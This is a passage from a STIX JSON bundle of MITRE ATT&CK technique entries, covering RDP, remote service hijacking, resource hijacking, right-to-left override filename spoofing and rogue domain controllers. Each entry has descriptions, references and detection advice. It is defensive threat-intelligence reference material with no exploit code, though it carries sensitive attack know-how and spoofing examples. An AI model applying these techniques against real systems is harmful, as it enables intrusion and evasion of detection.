            "id": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-11T18:24:04.507Z",
            "created": "2017-05-31T21:30:59.769Z"
        },
        {
            "created": "2020-02-11T18:23:26.059Z",
            "modified": "2020-02-25T19:23:34.204Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) technique for Persistence.(Citation: Alperovitch Malware)",
            "name": "Remote Desktop Protocol",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1021.001",
                    "url": "https://attack.mitre.org/techniques/T1021/001"
                },
                {
                    "external_id": "CAPEC-555",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/555.html"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx",
                    "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
                    "source_name": "TechNet Remote Desktop Services"
                },
                {
                    "url": "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/",
                    "description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.",
                    "source_name": "Alperovitch Malware"
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.",
            "x_mitre_permissions_required": [
                "Remote Desktop Users",
                "User"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Flow",
                "Logon Session: Logon Session Creation"
            ],
            "x_mitre_system_requirements": [
                "RDP service enabled, account in the Remote Desktop Users group"
            ],
            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward"
            ]
        },
        {
            "id": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a",
            "description": "Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.",
            "name": "Remote Email Collection",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1114.002",
                    "url": "https://attack.mitre.org/techniques/T1114/002"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "modified": "2021-03-25T13:12:56.909Z",
            "created": "2020-02-19T18:52:24.547Z",
            "x_mitre_platforms": [
                "Office 365",
                "Windows",
                "Google Workspace"
            ],
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Logon Session: Logon Session Creation",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Monitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account).",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.1"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1563",
                    "url": "https://attack.mitre.org/techniques/T1563"
                },
                {
                    "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6",
                    "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
                    "source_name": "RDP Hijacking Medium"
                },
                {
                    "source_name": "Breach Post-mortem SSH Hijack",
                    "url": "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident",
                    "description": "Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Remote Service Session Hijacking",
            "description": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)",
            "id": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "modified": "2020-03-23T23:35:58.129Z",
            "created": "2020-02-25T18:26:16.994Z",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Logon Session: Logon Session Creation",
                "Command: Command Execution",
                "Process: Process Creation"
            ],
            "x_mitre_detection": "Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nMonitor for processes and command-line arguments associated with hijacking service sessions.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_permissions_required": [
                "SYSTEM",
                "root"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "created": "2017-05-31T21:30:29.858Z",
            "modified": "2020-03-25T12:25:03.251Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "type": "attack-pattern",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1021",
                    "url": "https://attack.mitre.org/techniques/T1021"
                },
                {
                    "external_id": "CAPEC-555",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/555.html"
                },
                {
                    "source_name": "SSH Secure Shell",
                    "url": "https://www.ssh.com/ssh",
                    "description": "SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020."
                },
                {
                    "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx",
                    "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
                    "source_name": "TechNet Remote Desktop Services"
                }
            ],
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)",
            "name": "Remote Services",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba",
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.1",
            "x_mitre_detection": "Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Flow",
                "Logon Session: Logon Session Creation",
                "Command: Command Execution",
                "Network Share: Network Share Access",
                "Module: Module Load"
            ],
            "x_mitre_system_requirements": [
                "Active remote service accepting connections and valid credentials"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1018",
                    "url": "https://attack.mitre.org/techniques/T1018"
                },
                {
                    "external_id": "CAPEC-292",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/292.html"
                },
                {
                    "source_name": "Elastic - Koadiac Detection with EQL",
                    "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql",
                    "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020."
                }
            ],
            "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as  [Ping](https://attack.mitre.org/software/S0097) or <code>net view</code> using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: <code>C:\\Windows\\System32\\Drivers\\etc\\hosts</code> or <code>/etc/hosts</code>) in order to discover the hostname to IP address mappings of remote systems. \n\nSpecific to macOS, the <code>bonjour</code> protocol exists to discover additional Mac-based systems within the same broadcast domain.",
            "name": "Remote System Discovery",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2021-04-13T21:40:23.368Z",
            "created": "2017-05-31T21:30:28.187Z",
            "x_mitre_version": "3.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Network Traffic: Network Connection Creation",
                "File: File Access"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to discover remote systems, such as <code>ping.exe</code> and <code>tracert.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_contributors": [
                "Daniel Stepanic, Elastic",
                "RedHuntLabs, @redhuntlabs"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1036.003",
                    "url": "https://attack.mitre.org/techniques/T1036/003"
                },
                {
                    "source_name": "LOLBAS Main Site",
                    "url": "https://lolbas-project.github.io/",
                    "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020."
                },
                {
                    "source_name": "Elastic Masquerade Ball",
                    "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.",
                    "url": "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf"
                },
                {
                    "source_name": "F-Secure CozyDuke",
                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf"
                },
                {
                    "source_name": "Twitter ItsReallyNick Masquerading Update",
                    "url": "https://twitter.com/ItsReallyNick/status/1055321652777619457",
                    "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Rename System Utilities",
            "description": "Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename <code>rundll32.exe</code>). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)",
            "id": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-11-23T17:03:38.941Z",
            "created": "2020-02-10T20:03:11.691Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)",
            "x_mitre_data_sources": [
                "File: File Modification",
                "Process: Process Metadata",
                "Command: Command Execution",
                "File: File Metadata"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1091",
                    "external_id": "T1091"
                }
            ],
            "description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.",
            "name": "Replication Through Removable Media",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "modified": "2020-07-14T19:45:59.638Z",
            "created": "2017-05-31T21:31:08.977Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Access",
                "File: File Creation",
                "Drive: Drive Creation"
            ],
            "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_system_requirements": [
                "Removable media allowed, Autorun enabled or vulnerability present that allows for code execution"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783",
            "description": "Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability. \n\nOne common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining. Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining malware kills off processes for competing malware to ensure it\u2019s not competing for resources.(Citation: Trend Micro War of Crypto Miners)",
            "name": "Resource Hijacking",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1496",
                    "url": "https://attack.mitre.org/techniques/T1496"
                },
                {
                    "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.",
                    "url": "https://securelist.com/lazarus-under-the-hood/77908/",
                    "source_name": "Kaspersky Lazarus Under The Hood Blog 2017"
                },
                {
                    "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.",
                    "url": "https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc",
                    "source_name": "CloudSploit - Unused AWS Regions"
                },
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                },
                {
                    "source_name": "Trend Micro Exposed Docker APIs",
                    "url": "https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html",
                    "description": "Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021."
                },
                {
                    "source_name": "Trend Micro War of Crypto Miners",
                    "url": "https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html",
                    "description": "Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "modified": "2021-04-14T12:06:32.187Z",
            "created": "2019-04-17T14:50:05.682Z",
            "x_mitre_contributors": [
                "David Fiser, @anu4is, Trend Micro",
                "Alfredo Oliveira, Trend Micro",
                "Jay Chen, Palo Alto Networks",
                "Magno Logan, @magnologan, Trend Micro",
                "Vishwas Manral, McAfee",
                "Yossi Weizman, Azure Defender Research Team"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS",
                "Containers"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
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                "Command: Command Execution",
                "File: File Creation",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Flow",
                "Sensor Health: Host Status"
            ],
            "x_mitre_detection": "Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage."
        },
        {
            "id": "attack-pattern--3b4121aa-fc8b-40c8-ac4f-afcb5838b72c",
            "name": "Revert Cloud Instance",
            "external_references": [
                {
                    "external_id": "T1536",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1536"
                },
                {
                    "source_name": "Tech Republic - Restore AWS Snapshots",
                    "url": "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/",
                    "description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019."
                },
                {
                    "source_name": "Google - Restore Cloud Snapshot",
                    "url": "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots",
                    "description": "Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019."
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2021-03-08T10:33:01.527Z",
            "created": "2019-09-04T14:37:07.959Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1578.004",
                    "url": "https://attack.mitre.org/techniques/T1578/004"
                },
                {
                    "source_name": "Tech Republic - Restore AWS Snapshots",
                    "url": "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/",
                    "description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019."
                },
                {
                    "source_name": "Google - Restore Cloud Snapshot",
                    "url": "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots",
                    "description": "Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019."
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Revert Cloud Instance",
            "description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)",
            "id": "attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-03-08T10:33:02.128Z",
            "created": "2020-06-16T18:42:20.734Z",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",
            "x_mitre_data_sources": [
                "Instance: Instance Modification",
                "Instance: Instance Start",
                "Instance: Instance Stop"
            ],
            "x_mitre_contributors": [
                "Netskope"
            ],
            "x_mitre_platforms": [
                "IaaS"
            ]
        },
        {
            "created": "2020-02-10T19:55:29.385Z",
            "modified": "2020-03-29T20:16:36.316Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69",
            "description": "Adversaries may use the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver executable named <code>March 25 \\u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.\n\nA common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.",
            "name": "Right-to-Left Override",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1036.002",
                    "url": "https://attack.mitre.org/techniques/T1036/002"
                },
                {
                    "source_name": "Infosecinstitute RTLO Technique",
                    "url": "https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/",
                    "description": "Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019."
                },
                {
                    "source_name": "Trend Micro PLEAD RTLO",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/",
                    "description": "Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019."
                },
                {
                    "source_name": "Kaspersky RTLO Cyber Crime",
                    "url": "https://securelist.com/zero-day-vulnerability-in-telegram/83800/",
                    "description": "Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019."
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "File: File Metadata"
            ],
            "x_mitre_detection": "Detection methods should include looking for common formats of RTLO characters within filenames such as <code>\\u202E</code>, <code>[U+202E]</code>, and <code>%E2%80%AE</code>. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it.",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "id": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Rogue Domain Controller",
            "description": "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1207",
                    "url": "https://attack.mitre.org/techniques/T1207"
                },
                {
                    "url": "https://www.dcshadow.com/",
                    "description": "Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.",
                    "source_name": "DCShadow Blog"
                },
                {
                    "url": "https://adsecurity.org/?page_id=1821",
                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
                    "source_name": "Adsecurity Mimikatz Guide"
                },
                {
                    "url": "https://github.com/shellster/DCSYNCMonitor",
                    "description": "Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018.",
                    "source_name": "GitHub DCSYNCMonitor"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/ms677626.aspx",
                    "description": "Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018.",
                    "source_name": "Microsoft DirSync"
                },
                {
                    "url": "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html",
                    "description": "Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.",
                    "source_name": "ADDSecurity DCShadow Feb 2018"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
